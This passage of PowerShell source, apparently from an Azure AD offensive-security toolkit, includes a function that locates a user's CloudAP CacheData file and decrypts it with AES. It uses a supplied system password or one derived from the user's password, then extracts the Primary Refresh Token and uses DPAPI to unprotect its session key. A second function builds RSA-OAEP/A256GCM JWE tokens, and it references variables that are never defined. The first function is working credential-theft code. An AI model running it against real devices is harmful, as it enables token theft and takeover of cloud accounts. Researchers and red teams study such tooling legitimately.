            if((Get-ItemPropertyValue -Path "$name2SidPath$user" -Name IdentityName) -eq $username)
            {
                # We found the user from registry. Get the cachedir from the key name.
                $cacheDir = (Get-Item -Path "$name2SidPath$user").PSChildName
                Write-Verbose "Cachedir: $cacheDir"

                # Create the cache data file path
                $cacheDataFile = "$env:SystemRoot\system32\config\systemprofile\AppData\local\microsoft\windows\CloudAPCache\AzureAD\$cacheDir\Cache\CacheData"
                break
            }
        }

        if([string]::IsNullOrEmpty($cacheDataFile))
        {
            Throw "CacheData not found for user $Username"
        }
        
        # Parse CacheData
        $cacheData = Parse-CloudAPCacheData -Data (Get-BinaryContent -Path $cacheDataFile)

        # Get the encrypted blobs
        $encryptedKey  = $cacheData.EncryptedKey
        $encryptedData = $cacheData.EncryptedData
        
        # Hey come on Microsoft..
        $defaultIV = @(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)

        if($Password)
        {
            # Derive the key from the given "system" password
            $derivedKey = [AADInternals.Native]::getPBKDF2($Password)
            
            Write-Verbose "Derived key: $(Convert-ByteArrayToHex -Bytes $derivedKey)"

            # Decrypt the secret using derived key
            $aes     = New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
            $aes.Key = $derivedKey
            $aes.IV  = $defaultIV
            $dc      = $aes.CreateDecryptor()
            $secret  = $dc.TransformFinalBlock($encryptedKey,0,$encryptedKey.Length)
        }
        else
        {
            # The secret is actually derived from the user's password, so we can use that (if known)
            $secret = [AADInternals.Native]::getPBKDF2([text.encoding]::Unicode.GetBytes($Credentials.GetNetworkCredential().Password))
        }

        Write-Verbose "Secret: $(Convert-ByteArrayToHex -Bytes $secret)"

        # Decrypt the data blob with the secret
        $aes      = New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
        $aes.Key  = $secret
        $aes.IV   = $defaultIV
        $dc       = $aes.CreateDecryptor()
        $dataBlob = $dc.TransformFinalBlock($encryptedData,0,$encryptedData.Length)

        # Parse the data blob
        $prtBytes = Parse-CloudAPCacheDataBlob -Data $dataBlob 
        $prt      = [text.encoding]::UTF8.GetString($prtBytes) | ConvertFrom-Json

        # Decode PRT
        $prt | Add-Member -NotePropertyName "refresh_token" -NotePropertyValue (Convert-B64ToText -B64 $prt.prt)

        # Decrypt POP Key (Session Key) using DPAPI
        $prt | Add-Member -NotePropertyName "session_key" -NotePropertyValue (Convert-ByteArrayToB64 -Bytes (Unprotect-POPKeyBlob -Data (Convert-B64ToByteArray -B64 $prt.ProofOfPossesionKey.KeyValue)))
        
        return $prt
    }
}

# Creates a new JWE
# Sep 12th 2023
Function New-JWE
{

    [cmdletbinding()]

    param(
        [Parameter(Mandatory=$True,ParameterSetName = "RSA")]
        [System.Security.Cryptography.RSA]$PublicKey,
        [Parameter(Mandatory=$True)]
        [byte[]]$Payload,
        [Parameter(Mandatory=$True)]
        [string]$Header,
        [Parameter(Mandatory=$False)]
        [byte[]]$InitialVector = (Get-RandomBytes -Bytes 12),
        [Parameter(Mandatory=$False)]
        [byte[]]$CEK = (Get-RandomBytes -Bytes 32)
    )
    process
    {
        # Parse & create binary header
        $parsedHeader = $header | ConvertFrom-Json
        $binHeader = [text.encoding]::UTF8.getBytes($header)
        
        $alg = $parsedHeader.alg

        # If this is refresh_token or code, use RSA-OAEP
        if([string]::IsNullOrEmpty($alg) -and $parsedHeader.ser -eq "1.0")
        {
            $alg = "RSA-OAEP"
        }
        elseif($parsedJWE.enc -ne "A256GCM")
        {
            Throw "Unsupported enc: $enc"
        }

        # Encrypt data using encrypted key
        if($alg -eq "RSA-OAEP") 
        {
            if(!$PublicKey)
            {
                Throw "PublicKey required for RSA-OAEP encrypted JWE"
            }

            try
            {
                $decData = $Payload

                # Encrypt the CEK
                $encKey = [System.Security.Cryptography.RSAOAEPKeyExchangeFormatter]::new($PublicKey).CreateKeyExchange($CEK)

                $keyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter]::new($CEK)

                # Create & init block cipher. This data is correctly encrypted with A256GCM.
                $AEADParameters = [Org.BouncyCastle.Crypto.Parameters.AeadParameters]::new($keyParameter,128,$InitialVector)
                $GCMBlockCipher = [Org.BouncyCastle.Crypto.Modes.GcmBlockCipher]::new([Org.BouncyCastle.Crypto.Engines.AesFastEngine]::new())
                $GCMBlockCipher.init($true, $AEADParameters)
            
                # Create an array for the encrypted data
                $tag     = New-Object byte[] 16
                $encData = New-Object byte[] $GCMBlockCipher.GetOutputSize($decData.Count)

                # Encrypt the data
                $res = $GCMBlockCipher.ProcessBytes($decData, 0, $decData.Count, $encData, 0)
                $res = $GCMBlockCipher.DoFinal($encData, $res)
                
                # Last 16 bytes is the tag (in authorization code & refresh token)
                $buffer = New-Object byte[] ($encData.Count - 16)
                [Array]::Copy($encData,                  0,$buffer,0 ,$encData.Count - 16)
                [Array]::Copy($encData,$encData.Count - 16,$tag   ,0 ,$tag.Count)
                $encData = $buffer

                # Return
                return "$((Convert-ByteArrayToB64 -Bytes $binHeader -UrlEncode)).$((Convert-ByteArrayToB64 -Bytes $encKey -UrlEncode)).$((Convert-ByteArrayToB64 -Bytes $InitialVector -UrlEncode)).$((Convert-ByteArrayToB64 -Bytes $encData -UrlEncode)).$((Convert-ByteArrayToB64 -Bytes $tag -UrlEncode))"
            }
            catch
            {
                throw "Encrypting failed: ""$($_.Exception.InnerException.Message)"""
            }
        }
        else
        {
            Throw "Unsupported alg: $alg"
        }
    }
}